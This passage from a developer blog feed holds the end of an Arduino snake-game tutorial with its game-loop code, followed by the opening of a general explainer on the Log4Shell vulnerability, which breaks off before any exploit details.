    &lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="p"&gt;++;&lt;/span&gt;

    &lt;span class="nf"&gt;generateFood&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;currentSpeed&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;maxSpeed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;currentSpeed&lt;/span&gt; &lt;span class="p"&gt;-=&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Generate new food
&lt;/h3&gt;

&lt;p&gt;If the snake eats the food, we will have to put new food on the grid, right? This is simple — we update the food’s position to a random point in the grid, make sure that it doesn’t overlap with the snake, and update the matrix.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;generateFood&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;food&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;matrixSizeX&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;food&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;matrixSizeY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// Make sure the food does not overlap with the snake&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;snakeLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;++)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;food&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;food&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;generateFood&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;grid&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;food&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;food&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;renderBitmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;grid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;matrixSizeY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;matrixSizeX&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Update the LED matrix
&lt;/h3&gt;

&lt;p&gt;To show all these changes above, we reset our grid (meaning switch of all LEDs on the matrix), then update the grid based on the snake and food positions, and then render the new grid on the LED matrix.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;updateMatrix&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;resetGrid&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;snakeLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;++)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;grid&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;snake&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;grid&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;food&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;food&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;renderBitmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;grid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;matrixSizeY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;matrixSizeX&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Game Over
&lt;/h3&gt;

&lt;p&gt;Finally, when the snake bites itself, the game gets over.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4qrpBHGy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k15l67b7rnfcuprjeem8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4qrpBHGy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k15l67b7rnfcuprjeem8.png" alt="Game Over" width="557" height="275"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here, we check if we made the high score, play the “Game Over” text on the LED matrix, display the score for a few seconds, and then ask the player if they want to continue playing the game.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;gameOver&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;isGameOver&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nf"&gt;resetGrid&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;highScore&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;highScore&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;printText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"    Game Over    "&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;35&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;++)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;displayScore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;continuePlaying&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nf"&gt;initializeGame&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  finishing touches 🪄
&lt;/h2&gt;

&lt;p&gt;At this point, our game is functional. We could stop here if we want and call it a day. Or, we could go the extra mile and add some finishing touches for a polished look and an overall satisfying playing experience. For this, I added some aesthetic additions and some qualify-of-life improvements.&lt;/p&gt;

&lt;p&gt;Firstly, an ascii art intro animation when the game loads. It says SNAKE-R4.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--pKW2xSs3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/88db5l66gwvhbybk7fh9.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--pKW2xSs3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/88db5l66gwvhbybk7fh9.gif" alt="Intro animation" width="480" height="272"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I ended up designing a numbers font in Arduino’s &lt;a href="https://ledmatrix-editor.arduino.cc/"&gt;LED Matrix editor&lt;/a&gt; for displaying the score, because the fonts in the ArduinoGraphics library did not quite align in the center of the LED matrix and it really bugged me.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---4ZaeO_N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tk4vimjzjza6xn8u53in.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---4ZaeO_N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tk4vimjzjza6xn8u53in.gif" alt="Custom number font" width="426" height="240"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then, I added the option to continue playing by selecting Y/N with the joystick. Again, the frames for the animation were designed in the LED Matrix editor and included in the code using the .h files provided by it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--a6C_Xncl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/avgaq9s01zt63xyj98p7.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--a6C_Xncl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/avgaq9s01zt63xyj98p7.gif" alt="Continue playing" width="426" height="240"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All we have to do in the code is to render the appropriate frame based on the joystick direction (left or right) and play the yes_option or no_option animation sequence when one of them gets selected.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;continuePlaying&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loadSequence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;continue_playing&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;renderFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;selectedOption&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"yes"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;swState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;handleJoystick&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;direction&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;renderFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;selectedOption&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"yes"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;direction&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;renderFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;selectedOption&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"no"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;selectedOption&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"no"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loadSequence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;no_option&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;play&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;printText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"    thx for playing!        made by siphyshu    "&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;35&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;displayScore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;selectedOption&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"yes"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loadSequence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;yes_option&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;play&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, if the player chooses no, the game ends with a credit sequence and the high-score is shown on the screen permanently in a never-ending loop.&lt;/p&gt;




&lt;p&gt;Tada! 🎉 With these final touches, we are done with Snake-R4. I had a lot of fun building (and playing! :D) this project, and if you did too while reading about it, a &lt;a href="https://dev.to/siphyshu"&gt;follow&lt;/a&gt; would be amazing!&lt;/p&gt;

&lt;p&gt;View the repository: &lt;a href="https://github.com/siphyshu/snake-R4"&gt;https://github.com/siphyshu/snake-R4&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Follow me on Twitter/X for behind-the-scenes:&lt;/p&gt;

&lt;p&gt;&lt;iframe class="tweet-embed" id="tweet-1731547660904014015-981" src="https://platform.twitter.com/embed/Tweet.html?id=1731547660904014015"&gt;
&lt;/iframe&gt;

  // Detect dark theme
  var iframe = document.getElementById('tweet-1731547660904014015-981');
  if (document.body.className.includes('dark-theme')) {
    iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1731547660904014015&amp;amp;theme=dark"
  }



&lt;/p&gt;

&lt;p&gt;Stay safe, have fun, and always be building! 🫂️&lt;/p&gt;

</description>
      <category>arduino</category>
      <category>python</category>
      <category>gamedev</category>
    </item>
    <item>
      <title>How an overlook in development wreaked havoc on the internet - The Log4Shell Vulnerability</title>
      <dc:creator>Jaiyank S.</dc:creator>
      <pubDate>Mon, 04 Apr 2022 10:16:06 +0000</pubDate>
      <link>https://dev.to/bitbybit/how-an-overlook-in-development-wreaked-havoc-on-the-internet-the-log4shell-vulnerability-2924</link>
      <guid>https://dev.to/bitbybit/how-an-overlook-in-development-wreaked-havoc-on-the-internet-the-log4shell-vulnerability-2924</guid>
      <description>&lt;p&gt;Java is a funny language. The people who use it can often be found ranting about it on reddit. It is heavily criticized for its design choices over the years and it's no surprise that developers who code in it are bound to give way to serious security vulnerabilities, if not too careful.&lt;/p&gt;

&lt;p&gt;One such is the recent vulnerability in Log4j, also nicknamed as Log4Shell - this particular vulnerability was so severe and the extent of which was so huge that it wreaked havoc on the internet and ruined Christmas for almost everybody that was responsible to fix the mess. In this blog, we'll be understanding the why and the how that led to this chaos.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3uqcbj6z3gcf3uwwuim6.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3uqcbj6z3gcf3uwwuim6.jpeg" alt="Log4J Meme 1"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Log4j?
&lt;/h2&gt;

&lt;p&gt;Log4j is one of several java-based logging frameworks and comes under Apache's Logging Services. Being open-sourced, it is and has been maintained by contributors from all over the globe since many years (more on this later). &lt;/p&gt;

&lt;p&gt;It logs events - from errors to diagnostic messages and more, so that system administrators and developers can look at them later. For example, when you try to login on a website and it shows an error message like &lt;code&gt;incorrect password&lt;/code&gt;, log4j can be used to record that.&lt;/p&gt;

&lt;h2&gt;
  
  
  Some Technical Jargon
&lt;/h2&gt;

&lt;p&gt;Let's understand some technical terms related to log4shell before we move forward and dive deep into it. This will make concepts clearer.&lt;/p&gt;

&lt;h3&gt;
  
  
  Java Naming and Directory Interface (JNDI)
&lt;/h3&gt;

&lt;p&gt;Java has a lookup feature called JNDI, which is an interface that allows java applications to access naming and directory services. It has an API and a &lt;a href="https://en.wikipedia.org/wiki/Service_provider_interface" rel="noopener noreferrer"&gt;SPI&lt;/a&gt;. Different naming and directory services like LDAP, DNS, and RMI connect to this JNDI SPI which is then accessed by the java application using the JNDI API, the diagram below illustrates this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foo6ozrekpw0geffc4ppu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foo6ozrekpw0geffc4ppu.png" alt="JNDI diagram"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, this is basically like asking your friend to get you something from someone in a different hostel room. You tell your friend the path (the protocol), the room number and the item (the file path) you need to get. Here you act as the java application, your friend acts as the API and SPI.&lt;/p&gt;

&lt;h3&gt;
  
  
  Remote-Code Execution (RCE)
&lt;/h3&gt;

&lt;p&gt;Remote-Code Execution, or RCE for short, is a class of vulnerabilities which allows an attacker to execute arbitrary code on a remote device. These RCE vulnerabilities can be a result of a variety of things ranging from Injection attacks (SQLi, HTML injection, PHP injection, etc.), Cross-Site Scripting, De-Serialization attacks to even Business-Logic flaws.&lt;/p&gt;

&lt;p&gt;Say for example, you use a certain software for taking notes. A malicious* hacker finds a vulnerability that allows them to achieve RCE. The implication of this is that they can run any command they want on &lt;strong&gt;your computer!&lt;/strong&gt; Using the RCE exploit, the attacker can launch a ransomware attack against you and lock your data, they can spy on you or steal your passwords or even make you part of a secret botnet!&lt;/p&gt;

&lt;p&gt;Every time you use a piece of software you're essentially putting incredible trust in the security and integrity of the said software. Scary isn't it?&lt;/p&gt;

&lt;blockquote&gt;
&lt;h3&gt;
  
  
  *A small note about "hackers"
&lt;/h3&gt;

&lt;p&gt;The term "hacker" is often misrepresented due to pop culture and ignorant news reporting - not all hackers wear hoodies, sit in a dark room with green text flashing before their eyes! In fact, the term "hacker", in its right sense, is used for an individual who uses their extraordinary skills in computer, networking or other domains to overcome technical limitations and problems. &lt;/p&gt;

&lt;p&gt;Not all hackers are bad and malicious! There are indeed hackers who use there skills to do illegal activities, but it's only a subset of the whole cybersecurity community - contrary to popular belief, majority of hackers are actually dedicated to make the internet more secure!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  How does Log4Shell actually work?
&lt;/h2&gt;

&lt;p&gt;We now know about Log4j, JNDI and RCEs, let's discuss how this relates to the Log4Shell vulnerability. Log4J allows JNDI lookups to enhance the quality of logs. A use-case of that might be logging the hostname or the IP address with the diagnostic message. &lt;/p&gt;

